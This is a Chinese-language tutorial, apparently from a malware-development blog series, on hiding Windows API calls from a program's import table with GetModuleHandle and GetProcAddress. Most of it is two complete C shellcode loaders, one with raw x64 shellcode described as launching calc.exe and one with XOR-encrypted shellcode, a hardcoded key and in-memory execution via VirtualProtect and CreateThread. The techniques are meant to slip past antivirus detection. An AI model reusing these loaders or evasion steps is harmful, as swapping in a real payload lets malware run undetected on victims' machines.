函数调用混淆

系列文章来自于：https://cocomelonc.github.io/

利用windows api函数中的GetModuleHandle和GetProcAddress方法进行函数调用混淆。

可以通过下列方式取出目标dll的函数

example = GetProcAddress(GetModuleHandle("example.dll"), "examplefunc");

在无混淆的情况下，以VirtualAlloc为例，直接调用改函数很自然的会出现在PE文件的导入表中

在微软文档查阅到该函数结构和所属dll后，先声明一个pVirtualAlloc存储指向VirtualAlloc的指针

LPVOID(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwsize, DWORD flAllocationType, DWORD flprotect);

指针赋值，这样pVirtualAlloc指向VirtualAlloc

pVirtualAlloc = (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD)) GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");

再将原来的VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);改为pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

成功在导入表中隐藏VirtualAlloc的痕迹

完整代码：

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe
unsigned char my_payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);
LPVOID(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwsize, DWORD flAllocationType, DWORD flprotect);

int main(void) {
    void* my_payload_mem; // memory buffer for payload
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    pVirtualAlloc = (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD)) GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");

    my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

    rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
    if (rv != 0) {

        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
    return 0;
}

结合上篇文章的XOR混淆payload

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);

// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";

void XOR(char* data, size_t data_len, char* key, size_t key_len) {
    int j;
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;
        data[i] = data[i] ^ key[j];
        j++;
    }
}LPVOID(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwsize, DWORD flAllocationType, DWORD flprotect);

int main(void) {
    void* my_payload_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    pVirtualAlloc = (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD)) GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");
    my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));

    RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

    rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
    if (rv != 0) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
    return 0;
}